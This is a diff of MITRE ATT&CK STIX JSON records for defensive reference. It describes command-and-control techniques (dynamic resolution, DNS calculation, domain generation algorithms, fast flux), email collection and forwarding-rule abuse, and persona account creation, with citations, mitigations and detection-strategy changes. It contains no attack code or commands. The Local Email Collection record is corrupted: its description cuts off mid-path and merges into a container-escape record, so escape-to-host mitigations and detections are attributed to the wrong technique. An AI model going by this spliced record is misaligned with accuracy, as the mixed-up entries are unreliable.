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+ "changelog_datacomponent_detections": {
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+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0015: Application Log (Application Log Content)",
+ "DS0022: File (File Creation)",
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
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+ "DET0176: Drive-by Compromise \u2014 Behavior-based, Multi-platform Detection Strategy (T1189)"
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+ "dropped": []
+ }
+ },
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+ "id": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-10 17:28:11.747000+00:00",
+ "modified": "2025-10-24 17:49:00.128000+00:00",
+ "name": "Dynamic Resolution",
+ "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1568",
+ "external_id": "T1568"
+ },
+ {
+ "source_name": "Talos CCleanup 2017",
+ "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
+ "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
+ },
+ {
+ "source_name": "FireEye POSHSPY April 2017",
+ "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
+ "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
+ },
+ {
+ "source_name": "ESET Sednit 2017 Activity",
+ "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
+ "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
+ },
+ {
+ "source_name": "Data Driven Security DGA",
+ "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
+ "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
+ }
+ ],
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+ "x_mitre_domains": [
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+ "macOS",
+ "Windows",
+ "ESXi"
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+ "changelog_mitigations": {
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+ "M1031: Network Intrusion Prevention"
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+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
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+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0039: Detection Strategy for Dynamic Resolution across OS Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-11 14:56:34.154000+00:00",
+ "modified": "2025-10-24 17:49:03.093000+00:00",
+ "name": "DNS Calculation",
+ "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",
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+ "kill_chain_name": "mitre-attack",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1568/003",
+ "external_id": "T1568.003"
+ },
+ {
+ "source_name": "Meyers Numbered Panda",
+ "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
+ "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
+ },
+ {
+ "source_name": "Moran 2014",
+ "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.",
+ "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
+ },
+ {
+ "source_name": "Rapid7G20Espionage",
+ "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.",
+ "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
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+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
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+ "DET0262: Detection Strategy for Dynamic Resolution through DNS Calculation"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1568/002",
+ "external_id": "T1568.002"
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+ "source_name": "Elastic Predicting DGA",
+ "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.",
+ "url": "https://arxiv.org/pdf/1611.00791.pdf"
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+ {
+ "source_name": "Talos CCleanup 2017",
+ "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
+ "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
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+ "source_name": "Pace University Detecting DGA May 2017",
+ "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.",
+ "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"
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+ {
+ "source_name": "FireEye POSHSPY April 2017",
+ "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
+ "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
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+ {
+ "source_name": "ESET Sednit 2017 Activity",
+ "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
+ "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
+ },
+ {
+ "source_name": "Data Driven Security DGA",
+ "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
+ "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
+ },
+ {
+ "source_name": "Akamai DGA Mitigation",
+ "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
+ "url": "https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e"
+ },
+ {
+ "source_name": "Cisco Umbrella DGA",
+ "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.",
+ "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"
+ },
+ {
+ "source_name": "Cybereason Dissecting DGAs",
+ "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
+ "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"
+ },
+ {
+ "source_name": "Unit 42 DGA Feb 2019",
+ "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"
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+ ],
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+ "x_mitre_detection": "",
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "M1021: Restrict Web-Based Content",
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+ "shared": [],
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+ "DS0029: Network Traffic (Network Traffic Flow)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0419: Detection Strategy for Dynamic Resolution using Domain Generation Algorithms."
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-11 14:11:16.560000+00:00",
+ "modified": "2025-10-24 17:48:33.501000+00:00",
+ "name": "Fast Flux DNS",
+ "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
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+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1568/001",
+ "external_id": "T1568.001"
+ },
+ {
+ "source_name": "MehtaFastFluxPt1",
+ "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.",
+ "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref"
+ },
+ {
+ "source_name": "MehtaFastFluxPt2",
+ "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.",
+ "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"
+ },
+ {
+ "source_name": "Fast Flux - Welivesecurity",
+ "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.",
+ "url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/"
+ }
+ ],
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "new": [],
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+ "shared": [],
+ "new": [
+ "DET0485: Detection Strategy for Dynamic Resolution using Fast Flux DNS"
+ ],
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+ "type": "attack-pattern",
+ "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:25.454000+00:00",
+ "modified": "2025-10-24 17:48:26.463000+00:00",
+ "name": "Email Collection",
+ "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients. ",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1114",
+ "external_id": "T1114"
+ },
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+ "source_name": "CISA AA20-352A 2021",
+ "description": "CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.",
+ "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a"
+ },
+ {
+ "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
+ "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
+ "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
+ },
+ {
+ "source_name": "TrustedSec OOB Communications",
+ "description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.",
+ "url": "https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"
+ }
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+ "x_mitre_contributors": [
+ "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)",
+ "Menachem Goldstein"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "macOS",
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+ "x_mitre_version": "2.6",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Application Log: Application Log Content\", \"Network Traffic: Network Connection Creation\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.463000+00:00\", \"old_value\": \"2025-04-15 22:26:37.477000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\\n\\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\\n\\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\\n-\\n-File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\\n-\\n-Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\"}}}",
+ "previous_version": "2.6",
+ "changelog_mitigations": {
+ "shared": [
+ "M1032: Multi-factor Authentication",
+ "M1041: Encrypt Sensitive Information",
+ "M1047: Audit",
+ "M1060: Out-of-Band Communications Channel"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Access)",
+ "DS0028: Logon Session (Logon Session Creation)",
+ "DS0029: Network Traffic (Network Connection Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0476: Email Collection via Local Email Access and Auto-Forwarding Behavior"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-19 18:54:47.103000+00:00",
+ "modified": "2025-10-24 17:49:00.920000+00:00",
+ "name": "Email Forwarding Rule",
+ "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1114/003",
+ "external_id": "T1114.003"
+ },
+ {
+ "source_name": "Mac Forwarding Rules",
+ "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.",
+ "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"
+ },
+ {
+ "source_name": "Pfammatter - Hidden Inbox Rules",
+ "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
+ "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
+ },
+ {
+ "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
+ "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
+ "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"
+ },
+ {
+ "source_name": "Microsoft Mail Flow Rules 2023",
+ "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
+ "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
+ },
+ {
+ "source_name": "US-CERT TA18-068A 2018",
+ "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Microsoft Security",
+ "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)",
+ "Liran Ravich, CardinalOps",
+ "Arun Seelagan, CISA"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Office Suite",
+ "Windows"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Application Log: Application Log Content\", \"Cloud Service: Cloud Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.920000+00:00\", \"old_value\": \"2025-04-15 22:26:55.201000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\\n\\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\\n-\\n-Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1041: Encrypt Sensitive Information",
+ "M1042: Disable or Remove Feature or Program",
+ "M1047: Audit",
+ "M1060: Out-of-Band Communications Channel"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)",
+ "DS0025: Cloud Service (Cloud Service Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0576: Email Forwarding Rule Abuse Detection Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-19 18:46:06.098000+00:00",
+ "modified": "2025-10-24 17:48:29.669000+00:00",
+ "name": "Local Email Collection",
+ "description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.\"}}}",
+ "previous_version": "1.6",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1038: Execution Prevention",
+ "M1042: Disable or Remove Feature or Program",
+ "M1048: Application Isolation and Sandboxing",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0008: Kernel (Kernel Module Load)",
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0032: Container (Container Creation)",
+ "DS0034: Volume (Volume Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0219: Detection Strategy for Escape to Host"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 01:05:42.216000+00:00",
+ "modified": "2025-10-24 17:49:24.456000+00:00",
+ "name": "Establish Accounts",
+ "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin)\n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1585",
+ "external_id": "T1585"
+ },
+ {
+ "source_name": "Free Trial PurpleUrchin",
+ "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
+ "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
+ },
+ {
+ "source_name": "NEWSCASTER2014",
+ "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
+ "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
+ },
+ {
+ "source_name": "Mandiant APT1",
+ "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
+ "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ },
+ {
+ "source_name": "BlackHatRobinSage",
+ "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
+ "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
